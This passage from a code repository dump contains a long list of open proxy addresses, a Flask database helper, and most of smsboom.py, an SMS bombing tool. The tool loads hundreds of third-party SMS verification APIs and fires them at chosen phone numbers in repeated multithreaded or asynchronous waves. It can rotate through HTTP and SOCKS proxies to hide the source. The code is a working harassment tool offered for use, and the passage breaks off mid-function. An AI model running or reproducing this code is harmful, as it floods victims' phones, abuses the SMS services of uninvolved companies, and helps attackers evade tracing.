58 | 62.210.119.138:3128 59 | 45.70.15.2:8080 60 | 45.195.76.114:999 61 | 46.99.205.10:8080 62 | 45.189.254.26:999 63 | 45.189.252.193:999 64 | 45.189.253.98:999 65 | 85.25.91.141:15333 66 | 74.82.50.155:3128 67 | 84.193.54.49:80 68 | 79.143.179.141:3128 69 | 91.209.11.131:80 70 | 82.165.105.48:80 71 | 68.183.111.90:80 72 | 83.229.69.218:1812 73 | 101.200.127.149:3129 74 | 102.134.127.15:8080 75 | 1.71.132.64:30003 76 | 103.10.62.238:7893 77 | 103.14.234.238:8080 78 | 103.146.26.80:8080 79 | 102.68.128.219:8080 80 | 103.130.70.209:82 81 | 119.252.171.50:8080 82 | 114.7.193.214:8080 83 | 111.73.46.94:3128 84 | 118.70.109.148:55443 85 | 114.132.165.163:9999 86 | 113.160.182.236:19132 87 | 121.1.41.162:111 88 | 117.54.11.82:3128 89 | 139.59.6.237:3128 90 | 148.251.45.123:3128 91 | 154.16.63.16:3128 92 | 143.208.57.2:8080 93 | 167.71.5.83:3128 94 | 136.243.53.18:3128 95 | 132.145.59.254:3128 96 | 138.68.235.51:80 97 | 177.136.84.164:999 98 | 176.101.89.226:33470 99 | 179.49.117.226:999 100 | 177.54.229.1:9292 101 | 181.13.223.228:8080 102 | 177.229.210.66:8080 103 | 177.11.95.178:3128 104 | 181.176.161.39:999 105 | 185.76.9.123:3128 106 | 185.61.152.137:8080 107 | 185.20.198.108:8080 108 | 185.181.166.209:8080 109 | 190.145.200.126:53281 110 | 188.235.130.50:8080 111 | 186.65.106.80:2020 112 | 185.82.98.94:9091 113 | 200.110.173.118:8080 114 | 198.52.241.12:999 115 | 195.250.92.58:8080 116 | 201.217.246.178:8080 117 | 196.1.97.209:80 118 | 212.92.204.54:80 119 | 212.126.106.230:8889 120 | 200.114.96.18:999 121 | 36.95.27.225:8080 122 | 37.233.103.130:3128 123 | 37.233.102.89:3128 124 | 37.59.206.176:3128 125 | 36.95.133.236:8080 126 | 43.255.113.232:80 127 | 36.37.180.59:65205 128 | 43.134.194.21:8118 129 | 47.108.217.191:8118 130 | 62.33.207.202:80 131 | 59.21.84.108:80 132 | 47.112.122.163:82 133 | 47.89.185.178:8888 134 | 45.201.190.125:9898 135 | 45.226.28.1:999 136 | 46.188.53.7:8005 137 | 91.193.253.188:23500 138 | 82.210.8.173:80 139 | 88.199.164.140:8081 140 | 93.177.229.164:9812 141 | 89.111.105.101:41258 142 | 74.208.177.198:80 143 | 103.11.106.48:8080 144 | 103.10.22.236:8080 145 | 103.10.62.238:51630 146 | 103.154.230.99:5678 147 | 103.183.60.226:9812 148 | 103.163.193.65:83 149 | 103.10.62.238:10759 150 | 103.181.72.169:443 151 | 122.52.62.154:8181 152 | 121.151.223.96:1337 153 | 117.198.97.220:80 154 | 120.89.91.226:3180 155 | 118.179.52.55:8080 156 | 114.4.104.254:3128 157 | 129.41.171.244:8000 158 | 118.173.242.189:8080 159 | 14.177.236.212:55443 160 | 165.0.50.110:8080 161 | 154.236.179.226:1981 162 | 169.255.199.154:8080 163 | 138.68.238.19:31028 164 | 139.9.64.238:443 165 | 154.236.184.70:1976 166 | 178.124.189.174:3128 167 | 176.115.197.118:8080 168 | 181.78.19.197:999 169 | 178.32.101.200:80 170 | 181.78.15.105:999 171 | 180.180.218.250:8080 172 | 178.150.148.38:8282 173 | 181.177.20.67:80 174 | 186.67.175.2:999 175 | 186.208.81.214:3129 176 | 186.97.182.3:999 177 | 185.76.9.87:3128 178 | 190.186.1.121:999 179 | 190.64.77.11:3128 180 | 186.148.184.130:999 181 | 203.210.84.198:8080 182 | 200.125.126.32:999 183 | 20.81.62.32:3128 184 | 203.123.57.154:63123 185 | 200.24.146.68:999 186 | 217.21.214.139:8080 187 | 218.1.142.134:57114 188 | 200.13.154.37:8080 189 | 45.136.4.12:3128 190 | 37.53.103.6:3128 191 | 41.161.92.138:8080 192 | 40.136.41.6:8080 193 | 36.95.156.127:6969 194 | 43.255.113.232:82 195 | 37.187.114.131:80 196 | 43.255.113.232:8080 197 | 54.39.102.233:3128 198 | 62.75.206.151:3128 199 | 47.74.226.8:5001 200 | 5.252.161.48:3128 201 | 45.226.185.2:8080 202 | 45.70.236.124:999 203 | 47.113.90.161:83 204 | 93.113.233.73:3128 205 | 89.19.116.102:41890 206 | 95.0.7.17:8080 207 | 91.209.11.132:80 208 | 103.143.196.50:8080 209 | 103.161.164.109:8181 210 | 103.11.106.174:8181 211 | 103.247.121.158:37777 212 | 103.80.237.211:3888 213 | 103.215.207.81:83 214 | 103.155.156.82:8080 215 | 103.241.182.97:80 216 | 128.199.202.122:8080 217 | 125.99.58.110:3128 218 | 118.97.47.250:55443 219 | 119.2.48.121:8080 220 | 123.56.175.31:3128 221 | 143.244.133.78:80 222 | 165.16.27.31:1981 223 | 156.200.116.68:1976 224 | 80.90.132.128:8888 225 | 138.68.3.159:3128 226 | 149.56.96.252:5566 227 | 155.0.181.254:43496 228 | 178.134.157.215:8080 229 | 177.126.151.162:8081 230 | 182.176.164.41:8080 231 | 182.253.93.4:53281 232 | 178.210.51.118:8080 233 | 181.198.194.23:3127 234 | 188.17.158.225:2580 235 | 187.188.108.114:8080 236 | 187.189.251.228:8080 237 | 190.106.49.250:8080 238 | 91.106.64.94:9812 239 | 190.60.104.218:3128 240 | 190.94.199.14:999 241 | 186.250.160.234:8080 242 | 203.223.34.2:8090 243 | 200.54.194.10:53281 244 | 201.150.117.64:999 245 | 211.192.82.15:443 246 | 201.218.91.20:999 247 | 218.244.147.59:3128 248 | 201.150.117.189:999 249 | 45.172.111.14:999 250 | 43.255.113.232:81 251 | 41.184.92.24:8080 252 | 43.241.131.97:8080 253 | 43.255.113.232:83 254 | 45.152.188.246:3128 255 | 45.149.43.56:53281 256 | 59.124.224.205:3128 257 | 95.0.168.45:1976 258 | 103.147.77.66:5012 259 | 103.4.94.12:3128 260 | 103.163.193.97:83 261 | 103.47.64.85:8080 262 | 103.239.201.86:1337 263 | 103.155.29.36:8008 264 | 94.23.91.209:80 265 | 128.199.202.122:3128 266 | 120.220.220.95:8085 267 | 12.231.44.251:3128 268 | 89.208.35.81:3128 269 | 124.204.33.162:8000 270 | 150.230.114.193:80 271 | 156.200.116.72:1976 272 | 83.238.80.10:8081 273 | 138.91.159.185:80 274 | 154.0.12.57:8080 275 | 167.71.5.83:8080 276 | 178.22.199.156:53281 277 | 178.205.101.67:3129 278 | 58.147.186.226:3127 279 | 46.173.104.245:8080 280 | 179.51.162.8:9812 281 | 189.204.244.178:999 282 | 190.244.233.113:8080 283 | 188.133.152.125:8080 284 | 190.108.82.98:999 285 | 92.52.45.48:8118 286 | 192.195.57.72:3128 287 | 190.107.224.150:3128 288 | 213.212.210.250:1976 289 | 202.131.234.194:8080 290 | 213.6.28.87:8080 291 | 46.101.186.238:80 292 | 221.6.201.74:9999 293 | 103.152.232.233:8080 294 | 103.74.147.22:84 295 | 103.164.114.187:8080 296 | 103.80.82.175:3125 297 | 47.92.113.71:80 298 | 103.247.40.34:8081 299 | 103.156.128.245:8080 300 | 62.171.161.169:3128 301 | 122.102.118.83:8080 302 | 93.105.40.62:41258 303 | 157.100.12.138:999 304 | 45.172.111.11:999 305 | 162.243.174.235:80 306 | 52.168.34.113:80 307 | 91.195.156.111:41890 308 | 139.255.94.122:39635 309 | 180.178.188.122:8080 310 | 178.205.169.210:3128 311 | 45.156.29.128:9090 312 | 47.111.176.17:88 313 | 45.174.87.18:999 314 | 181.198.62.154:999 315 | 190.90.24.13:999 316 | 193.106.138.52:3128 317 | 189.50.2.17:8080 318 | 190.26.217.98:999 319 | 103.172.70.153:8080 320 | 103.75.27.58:8087 321 | 103.19.130.50:8080 322 | 51.250.80.131:80 323 | 103.159.90.22:84 324 | 46.101.49.62:80 325 | 62.33.207.202:3128 326 | 201.197.202.244:8080 327 | 216.137.184.253:80 328 | 202.137.8.150:8080 329 | 122.3.41.154:8090 330 | 93.179.216.238:80 331 | 159.192.131.178:80 332 | 167.172.173.210:43643 333 | 92.247.2.26:21231 334 | 140.227.80.237:3180 335 | 180.250.153.130:53281 336 | 178.252.175.27:8080 337 | 103.231.78.36:80 338 | 103.242.105.85:3128 339 | 190.90.8.74:8080 340 | 103.166.197.34:3128 341 | 46.191.235.167:443 342 | 64.227.62.123:80 343 | 203.223.44.146:9812 344 | 216.176.187.99:30030 345 | 202.159.101.43:8088 346 | 95.217.20.255:51222 347 | 191.102.64.147:999 348 | 159.65.18.85:80 349 | 181.209.92.172:8085 350 | 103.242.107.171:3128 351 | 193.138.178.6:8282 352 | 103.19.58.113:8080 353 | 5.252.161.48:8080 354 | 47.252.4.64:8888 355 | 212.112.113.178:3128 356 | 202.56.163.110:8080 357 | 103.31.251.97:9191 358 | 95.0.168.52:1976 359 | 154.16.63.16:8080 360 | 162.144.116.103:80 361 | 103.248.120.5:8080 362 | 47.93.239.66:1080 363 | 191.102.74.113:8080 364 | 103.47.67.154:8080 365 | 203.153.125.242:8080 366 | 95.59.26.129:80 367 | 159.65.133.175:31280 368 | 165.16.46.67:8080 369 | 103.28.225.146:8080 370 | 105.112.191.250:3128 371 | 204.16.1.169:82 372 | 191.97.9.189:999 373 | 170.244.210.107:999 374 | 107.178.9.186:8080 375 | 210.179.58.236:80 376 | 193.31.27.123:80 377 | 107.179.33.13:80 378 | 213.184.227.226:8080 379 | 109.233.191.31:8123 380 | 222.92.207.98:40080 381 | 103.37.141.69:80 382 | 103.71.21.185:83 383 | 101.200.127.149:3129 384 | 101.51.139.179:8080 385 | 005.252.161.48:8080 386 | 103.10.62.238:7893 387 | 1.20.169.144:8080 388 | 102.141.197.17:8080 389 | 05.252.161.48:8080 390 | 101.132.189.87:9090 391 | 118.174.142.242:8080 392 | 121.151.223.96:1337 393 | 112.6.117.178:8085 394 | 110.74.206.134:8080 395 | 110.170.126.13:3128 396 | 114.4.104.254:3128 397 | 111.225.153.248:8089 398 | 116.253.208.239:33080 399 | 139.162.78.109:3128 400 | 134.209.29.120:3128 401 | 139.162.78.109:8080 402 | 154.236.179.226:1976 403 | 139.59.5.27:443 404 | 134.209.189.42:80 405 | 131.221.233.210:53281 406 | 134.209.29.120:8080 407 | 177.136.84.164:999 408 | 175.141.151.191:8080 409 | 179.49.117.226:999 410 | 173.212.224.134:3129 411 | 181.78.15.105:999 412 | 177.229.210.66:8080 413 | 173.212.245.135:3128 414 | 176.214.99.101:1256 415 | 185.76.9.123:3128 416 | 184.155.36.194:8080 417 | 185.20.198.108:8080 418 | 185.131.172.51:5050 419 | 185.179.214.79:41258 420 | 186.250.162.161:8080 421 | 183.247.152.98:53281 422 | 185.51.10.19:80 423 | 194.67.91.153:80 424 | 197.246.212.70:3030 425 | 194.114.128.149:61213 426 | 196.1.95.117:80 427 | 196.1.97.209:80 428 | 197.246.255.203:3030 429 | 221.6.201.74:9999 430 | 195.158.30.232:3128 431 | 36.92.85.66:8080 432 | 34.87.84.105:80 433 | 37.233.102.89:3128 434 | 23.238.33.186:80 435 | 36.95.133.236:8080 436 | 36.67.27.189:39674 437 | 223.96.90.216:8085 438 | 36.92.134.71:999 439 | 45.5.145.164:8090 440 | 61.29.96.146:80 441 | 45.229.56.64:999 442 | 47.112.122.163:82 443 | 47.89.185.178:8888 444 | 45.185.206.30:999 445 | 45.226.28.1:999 446 | 46.188.53.7:8005 447 | 85.25.91.141:15333 448 | 74.82.50.155:3128 449 | 82.114.118.142:1256 450 | 68.183.230.116:33541 451 | 91.209.11.131:80 452 | 78.46.123.202:80 453 | 68.183.111.90:80 454 | 77.236.236.85:8080 455 | 103.11.106.48:8080 456 | 102.134.127.15:8080 457 | 103.105.228.134:8080 458 | 103.156.17.35:8181 459 | 103.10.62.238:58208 460 | 103.163.193.65:83 461 | 102.68.128.217:8080 462 | 103.145.149.62:8080 463 | 122.102.118.82:8080 464 | 117.198.97.220:80 465 | 117.157.197.18:3128 466 | 113.160.209.113:19132 467 | 12.231.44.251:3128 468 | 128.201.119.251:999 469 | 123.56.175.31:3128 470 | 14.177.236.212:55443 471 | 139.59.244.166:8080 472 | 154.16.63.16:3128 473 | 169.255.199.154:8080 474 | 152.228.163.151:80 475 | 154.16.63.16:8080 476 | 139.9.64.238:443 477 | 138.68.235.51:80 478 | 178.124.189.174:3128 479 | 176.115.197.118:8080 480 | 181.78.19.197:999 481 | 177.54.229.1:9292 482 | 180.180.218.250:8080 483 | 175.100.72.95:57938 484 | 181.177.20.67:80 485 | 188.133.158.51:1256 486 | 185.61.152.137:8080 487 | 186.5.5.125:8080 488 | 185.76.9.87:3128 489 | 185.184.52.113:8080 490 | 187.190.0.205:999 491 | 186.216.80.166:3128 492 | 186.148.184.130:999 493 | 197.155.158.22:80 494 | 200.24.157.116:999 495 | 197.248.184.158:53281 496 | 200.32.51.179:8080 497 | 201.218.91.20:999 498 | 200.110.214.129:9080 499 | 20.203.160.74:3128 500 | 39.96.140.81:8118 501 | 37.233.103.130:3128 502 | 41.184.92.24:8080 503 | 37.233.102.184:3128 504 | 45.156.29.128:9090 505 | 36.92.70.209:8080 506 | 27.147.193.82:8080 507 | 43.255.113.232:8080 508 | 54.39.102.233:3128 509 | 62.210.119.138:3128 510 | 46.8.216.203:3125 511 | 47.74.226.8:5001 512 | 5.252.161.48:3128 513 | 45.189.254.26:999 514 | 45.70.236.124:999 515 | 47.110.62.231:3128 516 | 91.193.253.188:23500 517 | 89.208.35.81:3128 518 | 84.193.54.49:80 519 | 77.238.156.13:55443 520 | 93.158.35.200:8080 521 | 103.11.106.85:8085 522 | 103.4.94.12:3128 523 | 103.49.228.34:8081 524 | 103.174.181.45:8080 525 | 103.148.201.76:8080 526 | 103.247.40.34:8081 527 | 103.10.62.238:10759 528 | 103.181.72.169:443 529 | 94.23.91.209:80 530 | 128.199.202.122:8080 531 | 128.199.202.122:3128 532 | 120.197.179.166:8080 533 | 114.132.165.163:9999 534 | 122.3.41.154:8090 535 | 129.41.171.244:8000 536 | 124.204.33.162:8000 537 | 143.244.133.78:80 538 | 144.48.178.113:83 539 | 154.236.177.100:1981 540 | 161.132.126.131:999 541 | 159.65.133.175:31280 542 | 149.56.96.252:5566 543 | 14.140.131.82:3128 544 | 179.93.65.233:8080 545 | 178.205.101.67:3129 546 | 182.176.164.41:8080 547 | 178.32.101.200:80 548 | 74.208.177.198:80 549 | 182.253.93.4:53281 550 | 178.150.148.38:8282 551 | 181.198.194.23:3127 552 | 188.17.158.225:2580 553 | 185.82.98.2:9091 554 | 187.189.251.228:8080 555 | 188.169.38.111:8080 556 | 190.186.1.121:999 557 | 190.120.248.89:999 558 | 186.4.135.26:8080 559 | 200.105.215.18:33630 560 | 200.54.194.10:53281 561 | 20.81.62.32:3128 562 | 201.91.82.155:3128 563 | 200.60.12.43:999 564 | 8.218.213.95:10809 565 | 200.92.152.50:999 566 | 41.65.236.44:1976 567 | 41.186.44.106:3128 568 | 43.250.127.98:9001 569 | 41.65.236.53:1981 570 | 43.224.10.19:6666 571 | 36.37.180.59:65205 572 | 59.124.224.205:3128 573 | 62.33.207.202:80 574 | 5.16.0.97:1256 575 | 47.92.113.71:80 576 | 52.168.34.113:80 577 | 45.226.185.2:8080 578 | 47.111.176.17:88 579 | 47.113.90.161:83 580 | 103.143.196.50:8080 581 | 103.75.27.58:8087 582 | 103.79.155.5:8080 583 | 103.247.121.158:37777 584 | 103.80.237.211:3888 585 | 103.14.199.30:82 586 | 104.192.202.11:8080 587 | 120.89.91.226:3180 588 | 117.54.114.97:80 589 | 157.100.12.138:999 590 | 148.251.45.123:3128 591 | 156.200.116.72:1976 592 | 95.0.168.45:1976 593 | 167.71.5.83:3128 594 | 170.244.210.107:999 595 | 154.0.12.57:8080 596 | 14.161.43.121:8080 597 | 180.178.188.122:8080 598 | 178.252.175.27:8080 599 | 182.253.6.236:8080 600 | 91.121.42.14:1081 601 | 178.210.51.118:8080 602 | 181.224.207.19:999 603 | 189.204.244.178:999 604 | 186.208.81.214:3129 605 | 187.62.191.3:61456 606 | 190.106.49.250:8080 607 | 79.143.179.141:3128 608 | 190.60.104.218:3128 609 | 192.195.57.72:3128 610 | 186.96.56.9:999 611 | 200.110.173.118:8080 612 | 202.159.101.42:8088 613 | 200.125.171.57:999 614 | 211.192.82.15:443 615 | 87.103.202.248:3128 616 | 213.32.75.44:5566 617 | 83.174.218.83:8080 618 | 201.197.202.244:8080 619 | 41.65.236.56:1981 620 | 103.147.77.66:5012 621 | 103.47.64.85:8080 622 | 47.99.133.26:3128 623 | 103.146.189.86:8080 624 | 5.252.161.48:8080 625 | 46.101.186.238:80 626 | 51.79.50.22:9300 627 | 62.75.206.151:3128 628 | 157.100.53.102:999 629 | 156.200.116.71:1981 630 | 157.100.53.99:999 631 | 14.241.38.220:19132 632 | 182.52.140.57:8080 633 | 180.191.20.102:8080 634 | 62.171.161.169:3128 635 | 91.134.136.29:9000 636 | 93.113.233.73:3128 637 | 180.210.184.226:8080 638 | 191.102.74.113:8080 639 | 188.133.152.125:8080 640 | 190.26.217.98:999 641 | 80.85.86.240:1235 642 | 103.164.221.34:8080 643 | 93.105.40.62:41258 644 | 43.255.113.232:80 645 | 103.80.82.175:3125 646 | 37.187.114.131:80 647 | 50.232.250.157:8080 648 | 103.156.128.245:8080 649 | 43.255.113.232:8081 650 | 46.191.235.167:443 651 | 202.162.37.68:8080 652 | 89.208.219.121:8080 653 | 217.21.214.139:8080 654 | 88.199.164.140:8081 655 | 157.230.40.79:8080 656 | 161.97.119.44:8118 657 | 162.243.174.235:80 658 | 216.137.184.253:80 659 | 201.150.117.64:999 660 | 218.1.142.90:57114 661 | 203.223.34.2:8090 662 | 155.0.181.254:43496 663 | 62.33.207.202:3128 664 | 187.217.54.84:80 665 | 91.195.156.111:41890 666 | 180.250.204.91:8088 667 | 103.172.70.153:8080 668 | 41.65.236.43:1976 669 | 50.235.247.114:8085 670 | 103.159.90.22:84 671 | 45.136.4.12:3128 672 | 86.57.134.64:41890 673 | 47.74.152.29:8888 674 | 203.223.44.146:9812 675 | 91.106.64.94:9812 676 | 190.90.8.74:8080 677 | 88.99.162.33:5566 678 | 159.65.18.85:80 679 | 167.172.173.210:43643 680 | 218.185.234.194:8080 681 | 202.159.101.43:8088 682 | 213.212.210.250:1976 683 | 167.71.230.124:8080 684 | 103.231.78.36:80 685 | 181.198.62.154:999 686 | 92.247.2.26:21231 687 | 45.152.188.246:3128 688 | 103.248.120.5:8080 689 | 45.174.248.17:999 690 | 91.93.42.115:10001 691 | 5.44.54.16:8080 692 | 91.93.118.3:8090 693 | 190.107.224.150:3128 694 | 95.0.66.86:8080 695 | 162.144.116.103:80 696 | 191.97.9.189:999 697 | 103.242.107.171:3128 698 | 167.71.5.83:8080 699 | 103.37.141.69:80 700 | 95.216.194.46:1081 701 | 190.90.24.3:999 702 | 97.87.248.14:80 703 | 105.112.191.250:3128 704 | 165.16.46.67:8080 705 | 95.0.7.17:8080 706 | 202.56.163.110:8080 707 | 107.179.33.13:80 708 | 193.41.88.58:53281 709 | 204.16.1.169:82 710 | 208.109.188.198:3128 711 | 210.179.58.236:80 712 | 218.7.171.91:3128 713 | -------------------------------------------------------------------------------- /img/GIF111.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/GIF111.gif -------------------------------------------------------------------------------- /img/cmd1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/cmd1.png -------------------------------------------------------------------------------- /img/cmd2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/cmd2.png -------------------------------------------------------------------------------- /img/e.g.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/e.g.1.png -------------------------------------------------------------------------------- /img/smsboom-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/smsboom-logo.png -------------------------------------------------------------------------------- /img/test.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/test.gif -------------------------------------------------------------------------------- /img/test2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/test2.gif -------------------------------------------------------------------------------- /img/webui-test-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/webui-test-2.png -------------------------------------------------------------------------------- /img/webui-test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/img/webui-test.png -------------------------------------------------------------------------------- /logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/logo.ico -------------------------------------------------------------------------------- /requirements-celery.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/requirements-celery.txt -------------------------------------------------------------------------------- /requirements-dev.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/requirements-dev.txt -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/requirements.txt -------------------------------------------------------------------------------- /run_flask_app.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # flask app 主文件 3 | import click 4 | from loguru import logger 5 | from pathlib import Path 6 | import json 7 | from flask_app import db, app 8 | from flask_app.model import Apis 9 | from utils.models import API 10 | 11 | json_path = Path(app.root_path).parent.joinpath( 12 | "api.json") 13 | 14 | 15 | @click.command() 16 | @click.option('--drop', is_flag=True, help='重建数据库') # 设置选项 17 | def init(drop): 18 | """初始化数据库""" 19 | if drop: 20 | db.drop_all() 21 | logger.info("删除数据库...准备重建..") 22 | db.create_all() 23 | logger.success("数据库创建成功") 24 | 25 | 26 | @click.command() 27 | @logger.catch() 28 | def json2sqlite(): 29 | """将json数据转为sqlite数据库""" 30 | j = json_path.read_text(encoding="utf8") 31 | 32 | jss = json.loads(j) 33 | for js in jss: 34 | api = Apis( 35 | desc=str(js['desc']), 36 | url=str(js['url']), 37 | method=str(js['method']), 38 | data=str(js['data']), 39 | header=str(js['header']) 40 | ) 41 | # print(api.desc) 42 | try: 43 | db.session.add(api) 44 | db.session.commit() 45 | logger.info(f"{api.desc} 写入成功!") 46 | except Exception as e: 47 | db.session.rollback() # 回滚 48 | logger.error(f"{api.desc}写入数据库错误:{e}") 49 | 50 | logger.success("json To sqlite 成功!") 51 | 52 | 53 | @click.command() 54 | @logger.catch() 55 | def sqlite2json(): 56 | """将sqlite数据转为json""" 57 | apis = Apis.query.all() 58 | apis_ = [] 59 | for api in apis: 60 | # print(api.url) 61 | if api.data is None: 62 | api.data = "" 63 | if api.header is None: 64 | api.header = "" 65 | data = { 66 | "desc": api.desc, 67 | "url": api.url, 68 | "method": api.method, 69 | "data": api.data, 70 | "header": api.header, 71 | } 72 | try: 73 | api = API(**data).handle_API() 74 | apis_.append(api.dict()) 75 | except: 76 | pass 77 | # print(apis_) 78 | with open(json_path, mode="w", encoding="utf8") as j: 79 | try: 80 | json.dump(apis_, j, ensure_ascii=False, sort_keys=False, indent=4) 81 | logger.success("sqlite->json 成功!") 82 | except Exception: 83 | logger.exception("写入到 json 文件错误!") 84 | 85 | 86 | @click.command() 87 | @click.option('--host', '-h', help='监听地址', default="0.0.0.0") 88 | @click.option('--port', '-p', help='监听端口', default=9090) 89 | def start(host, port): 90 | """启动 flask app""" 91 | app.run(host=host, port=port, debug=True) 92 | 93 | 94 | @click.group() 95 | def cli(): 96 | pass 97 | 98 | 99 | cli.add_command(init) 100 | cli.add_command(start) 101 | cli.add_command(json2sqlite) 102 | cli.add_command(sqlite2json) 103 | 104 | if __name__ == "__main__": 105 | cli() 106 | -------------------------------------------------------------------------------- /smsboom.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 短信测压主程序 3 | 4 | from utils import default_header_user_agent 5 | from utils.log import logger 6 | from utils.models import API 7 | from utils.req import reqFunc, reqFuncByProxy, runAsync 8 | from concurrent.futures import ThreadPoolExecutor 9 | from typing import List, Union 10 | import asyncio 11 | import json 12 | import pathlib 13 | import sys 14 | import time 15 | import click 16 | import httpx 17 | import os 18 | 19 | # 確定應用程序係一個腳本文件或凍結EXE 20 | if getattr(sys, 'frozen', False): 21 | path = os.path.dirname(sys.executable) 22 | elif __file__: 23 | path = os.path.dirname(__file__) 24 | 25 | 26 | def load_proxies() -> list: 27 | """load proxies for files 28 | :return: proxies list 29 | """ 30 | proxy_all = [] 31 | proxy_file = ["http_proxy.txt", "socks5_proxy.txt", "socks4_proxy.txt"] 32 | for fn in proxy_file: 33 | f_obj = pathlib.Path(path, fn) 34 | if f_obj.exists(): 35 | proxy_lst = pathlib.Path(path, fn).read_text( 36 | encoding="utf8").split("\n") 37 | if not proxy_lst: 38 | continue 39 | if fn == "http_proxy.txt": 40 | for proxy in proxy_lst: 41 | if proxy: 42 | proxy_all.append({'all://': 'http://' + proxy}) 43 | elif fn == "socks5_proxy.txt": 44 | for proxy in proxy_lst: 45 | if proxy: 46 | proxy_all.append({'all://': 'socks5://' + proxy}) 47 | elif fn == "socks4_proxy.txt": 48 | for proxy in proxy_lst: 49 | if proxy: 50 | proxy_all.append({'all://': 'socks4://' + proxy}) 51 | else: 52 | f_obj.touch() 53 | logger.success(f"代理列表加载完成,代理数:{len(proxy_all)}") 54 | return proxy_all 55 | 56 | 57 | def load_json() -> List[API]: 58 | """load json for api.json 59 | :return: api list 60 | """ 61 | json_path = pathlib.Path(path, 'api.json') 62 | if not json_path.exists(): 63 | logger.error("Json file not exists!") 64 | raise ValueError 65 | 66 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 67 | try: 68 | datas = json.loads(j.read()) 69 | APIs = [ 70 | API(**data) 71 | for data in datas 72 | ] 73 | logger.success(f"api.json 加载完成 接口数:{len(APIs)}") 74 | return APIs 75 | except Exception as why: 76 | logger.error(f"Json file syntax error:{why}") 77 | raise ValueError 78 | 79 | 80 | def load_getapi() -> list: 81 | """load GETAPI 82 | :return: 83 | """ 84 | json_path = pathlib.Path(path, 'GETAPI.json') 85 | if not json_path.exists(): 86 | logger.error("GETAPI.json file not exists!") 87 | raise ValueError 88 | 89 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 90 | try: 91 | datas = json.loads(j.read()) 92 | logger.success(f"GETAPI加载完成,数目:{len(datas)}") 93 | return datas 94 | except Exception as why: 95 | logger.error(f"Json file syntax error:{why}") 96 | raise ValueError 97 | 98 | 99 | @click.command() 100 | @click.option("--thread", "-t", help="线程数(默认64)", default=64) 101 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", multiple=True, type=str) 102 | @click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int) 103 | @click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int) 104 | @click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool) 105 | def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False): 106 | """传入线程数和手机号启动轰炸,支持多手机号""" 107 | while not phone: 108 | phone = input("Phone: ") 109 | for i in phone: 110 | if not i.isdigit(): 111 | logger.error("手机号必须为纯数字!") 112 | sys.exit(1) 113 | logger.info( 114 | f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}") 115 | try: 116 | _api = load_json() 117 | _api_get = load_getapi() 118 | _proxies = load_proxies() 119 | # fix: by Ethan 120 | if not _proxies: 121 | if enable_proxy: 122 | logger.error("无法读取任何代理....请取消-e") 123 | sys.exit(1) 124 | _proxies = [None] 125 | except ValueError: 126 | logger.error("读取接口出错!正在重新下载接口数据!....") 127 | update() 128 | sys.exit(1) 129 | 130 | with ThreadPoolExecutor(max_workers=thread) as pool: 131 | for i in range(1, frequency + 1): 132 | logger.success(f"第{i}波轰炸开始!") 133 | # 此處代碼邏輯有問題,如果 _proxy 為空就不會啓動轟炸,必須有東西才行 134 | for proxy in _proxies: 135 | logger.success(f"第{i}波轰炸 - 当前正在使用代理:" + 136 | proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...") 137 | # 不可用的代理或API过多可能会影响轰炸效果 138 | for api in _api: 139 | pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit( 140 | reqFunc, api, phone) 141 | for api_get in _api_get: 142 | pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit( 143 | reqFunc, api_get, phone) 144 | logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") 145 | time.sleep(interval) 146 | 147 | 148 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) 149 | @click.command() 150 | def asyncRun(phone): 151 | """以最快的方式请求接口(真异步百万并发)""" 152 | _api = load_json() 153 | _api_get = load_getapi() 154 | 155 | apis = _api + _api_get 156 | 157 | loop = asyncio.get_event_loop() 158 | loop.run_until_complete(runAsync(apis, phone)) 159 | 160 | 161 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) 162 | @click.command() 163 | def oneRun(phone): 164 | """单线程(测试使用)""" 165 | _api = load_json() 166 | _api_get = 